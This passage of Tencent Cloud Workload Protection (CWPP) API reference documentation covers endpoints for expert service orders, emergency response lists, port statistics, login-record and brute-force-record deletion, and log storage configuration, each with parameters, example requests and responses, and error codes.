Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAvailableExpertServiceDetail
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "48ca3c70-801e-48b1-80a7-1007afbf5ffb",
"EmergencyResponse": 7,
"ExpertService": [
{
"OrderId": 10021,
"InquireType": 2,
"InquireNum": 1022,
"BeginTime": "2024-11-04 21:24:47",
```

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```
"EndTime": "2024-11-04 21:24:55",
"ServiceTime": 134952943,
"Status": 2
}
],
"ProtectNet": 2,
"ExpertServiceBuy": true,
"EmergencyResponseBuy": true,
"ProtectNetBuy": true
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.

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InvalidParameter	Incorrect parameter.

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DescribeExpertServiceOrderList

Last updated：2024-12-06 15:41:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the expert service order list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeExpertServiceOrderList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	• InquireType- String - required: no - order type for filtering,
Limit	No	Integer	Number of entries on each page. Maximum value: 100.
Offset	No	Integer	Offset

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of ExpertServiceOrderInfo	Order list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Expert Service - Expert Service Order List

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeExpertServiceOrderList
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"TotalCount": 0,
"List": []
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeExpertServiceList

Last updated：2024-12-06 15:41:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the security manager list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeExpertServiceList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • Keyword - String - whether required: no - filter by keyword • Uuids - String - whether required: no - filter by host ID
Limit	No	Integer	Number of items to be returned. The maximum value is 100.
Offset	No	Integer	Sorting step size
Order	No	String	Sort method
By	No	String	Sorting field: StartTime, EndTime

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of SecurityButlerInfo	Security manager data
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Expert Service - Security Manager List

This example shows you the security manager list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeExpertServiceList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"Id": 1,
"OrderId": 93,
"Quuid": "0bd8d80d-b8e9-4096-afa1-f381f6c08ebb",
"Uuid": "0bd8d80d-b8e9-4096-afa1-f381f6c08ebb",
"Status": 1,
"StartTime": "2021-03-17 15:47:15",
```

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```
"EndTime": "2021-04-17 15:47:15",
"HostName": "Functional test v_tximtan",
"HostIp": "10.0.0.135",
"RiskCount": 6
},
{
"Id": 10,
"OrderId": 3,
"Quuid": "d3f439cb-ab47-4834-8fd8-74eb16c83c58",
"Uuid": "d3f439cb-ab47-4834-8fd8-74eb16c83c58",
"Status": 1,
"StartTime": "2020-08-28 15:40:23",
"EndTime": "2021-08-28 15:40:23",
"HostName": "",
"HostIp": "",
"RiskCount": 0
}
],
"RequestId": "48ca3c70-801e-48b1-80a7-1007afbf5ffb",
"TotalCount": 2
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMonthInspectionReport

Last updated：2024-12-06 15:41:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to download the monthly inspection report of the security manager.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMonthInspectionReport.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination size
Offset	Yes	Integer	Pagination step size

3. Output Parameters

Parameter Name	Type	Description

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TotalCount	Integer	Total number
List	Array of MonthInspectionReport	Inspection report list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Expert Service - Download of Monthly Inspection Report of Security Manager

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMonthInspectionReport
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "4234234",
"TotalCount": 0,
"List": []
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
LimitExceeded	The quota limit is exceeded.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceInsufficient	Insufficient resources.
ResourceNotFound	The resource does not exist.

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DescribeEmergencyResponseList

Last updated：2024-12-06 15:41:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the emergency response list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeEmergencyResponseList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • Keyword - String - whether required: no - filter by keyword • Uuids - String - whether required: no - filter by host ID
Limit	No	Integer	Number of items to be returned. The maximum value is 100.
Offset	No	Integer	Sorting step size
Order	No	String	Sort method
By	No	String	Sorting field: StartTime, EndTime

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of EmergencyResponseInfo	Emergency Response List
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Expert Service - Security Manager List

This example shows you the security manager list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeEmergencyResponseList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"TaskId": "cve2021-1616989795566545881",
"HostNum": 1,
"Status": 1,
"StartTime": "2021-03-29 12:49:55",
"EndTime": "--",
"ReportPath": "/tmp"
```

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```
},
{
"TaskId": "cve2021-1617009909259811227",
"HostNum": 1,
"Status": 0,
"StartTime": "--",
"EndTime": "--",
"ReportPath": "/tmp"
}
],
"RequestId": "48ca3c70-801e-48b1-80a7-1007afbf5ffb",
"TotalCount": 2
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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Other APIs
DescribeOpenPortStatistics

Last updated：2024-12-06 15:41:44

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of port statistics.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeOpenPortStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • Port - Uint64 - whether required: no - port number

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of lists of port statistics
OpenPortStatistics	Array of OpenPortStatistics	List of port statistics
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Port Statistics

This example shows you how to obtain the list of port statistics.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeOpenPortStatistics
&Filters.0.Name=Port
&Filters.0.Values.0=22
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"OpenPortStatistics": [
{
"Port": 80,
"MachineNum": 10
},
{
"Port": 3306,
"MachineNum": 5
}
],
```

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```
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteMachine

Last updated：2024-12-06 15:42:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to uninstall the CWPP client.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMachine.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	CWPP client Uuid

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Uninstalling Client

This example shows you how to uninstall the CWPP client using this API (DeleteMachine).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteMachine
&Uuid=354f4ac3-8546-4516-8c8a-69e3ab73aa8a
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.MachineDelete	Uninstall the host.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteNonlocalLoginPlaces

Last updated：2024-12-06 15:42:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete cross-region log-in records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteNonlocalLoginPlaces.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
DelType	No	String	Method for deleting cross-region log-in events, available values are Ids, Ip, and All. The default is Ids.
Ids.N	No	Array of Integer	Array of cross-region log-in event IDs. Required if DelType is Ids or DelType is not filled.
Ip.N	No	Array of String	IP of cross-region log-in event. Required if DelType is Ip.
Uuid	No	String	Host UUID

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Remote Log-in Records

This example shows you how to delete remote log-in records using the API (DeleteNonlocalLoginPlaces).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteNonlocalLoginPlaces
&DelType=Id
&Ids.0=123
&Ids.1=456
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeUsualLoginPlaces

Last updated：2024-12-06 15:42:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query common log-in locations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeUsualLoginPlaces.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	CWPP client UUID

3. Output Parameters

Parameter Name	Type	Description
UsualLoginPlaces	Array of UsualPlace	Array of frequently used log-in locations

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Commonly Used Log-in Locations

This example shows you how to query commonly used log-in locations.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeUsualLoginPlaces
&Uuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"UsualLoginPlaces": [
{
"Id": 1,
"Uuid": "add4a78a-0d59-11e8-b7ab-00e081e1a5c5",
"CountryId": 1,
"ProvinceId": 1,
"CityId": 1
}
]
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteBruteAttacks

Last updated：2024-12-06 15:39:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete brute force attack records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBruteAttacks.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	Array of brute force cracking event IDs (maximum: 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Brute Force Cracking Records

This example shows you how to delete brute force cracking records by the API (DeleteBruteAttacks).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteBruteAttacks
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeSecurityBroadcastInfo

Last updated：2025-03-11 22:59:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information of security report articles.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityBroadcastInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Article ID

3. Output Parameters

Parameter Name	Type	Description
BroadcastInfo	BroadcastInfo	Security broadcasting article details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Security Broadcast Article Information

This example shows you how to query security broadcast article information by ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSecurityBroadcastInfo
&Id=5
&<common request parameters>
```

Output Example

```
{
"Response": {
"BroadcastInfo": {
"Content": "Secury broadcasting",
"CreateTime": "2019-12-25 11:57:15",
"GotoType": 0,
"Id": 5,
"Subtitle": "Secury Broadcasting",
"Title": "Secury Broadcasting",
"Type": 0
},
"RequestId": "5b49dea4-0d0e-400f-8d11-2fdf1707c51a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeLogStorageConfig

Last updated：2025-03-11 23:00:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the log storage configuration.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogStorageConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Type	Array of String	Storage type. The value is an array of strings. Note: This field may return null, indicating that no valid values can be obtained.

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Period	Integer	Log retention days. The value 3640 means the retention days are not limited. Note: This field may return null, indicating that no valid values can be obtained.
PeriodModifyCount	Integer	Count of period changes in this month Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Log Storage Configuration

This example shows you how to obtain log storage configuration.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogStorageConfig
<common request parameters>

{}
```

Output Example

```
{
"Response": {
"Type": [
"malware"
],
"Period": 30,
"PeriodModifyCount": 0,
"RequestId": "1c26308c-5493-4eaf-a817-112ec25f499e"
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeLogStorageRecord

Last updated：2025-03-11 23:00:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the record of stored log size.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogStorageRecord.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Records	Array of LogStorageRecord	Storage amount record Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Log Storage Volume Records

This example shows you how to obtain log storage volume records.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogStorageRecord
<common request parameters>

{}
```

Output Example

```
{
"Response": {
"Records": [
{
"Month": "202410",
"UsedSize": 53715597787,
"InquireSize": 53687091200
}
],
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyLogStorageConfig

Last updated：2025-03-11 22:59:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the log storage configuration.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLogStorageConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
IsModifyPeriod	Yes	Boolean	Whether to modify the validity period
Type.N	No	Array of String	Storage type: string array
Period	No	Integer	Log retention days. The value 3640 indicates that the number of days is unlimited.

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Log Storage Configuration

This example shows you how to modify log storage configuration.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLogStorageConfig
<common request parameters>

{
"Type": [
"malware"
],
"Period": 0,
"IsModifyPeriod": true
}
```

Output Example

```
{
"Response": {
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
OperationDenied	The operation was denied.

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DescribeTrialReport

Last updated：2024-12-06 15:40:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the CWPP authorized trial report (only available for console applications).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeTrialReport.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeTrialReport
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "aa3ccfe9-5dc3-40d2-8831-aa99e9a12207"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAssetEnvList

Last updated：2025-03-11 23:00:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management environment variables.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetEnvList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Type	No	Integer	This field has been deprecated and replaced with Filters.
Filters.N	No	Array of AssetFilters	Filter criteria • IpOrAlias - String - required: no - filter by host IP or alias • Name - string - required: no - environment variable name • Type - int - required: no - type: 0: user variable; 1: system variable

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Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
Envs	Array of AssetEnvBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

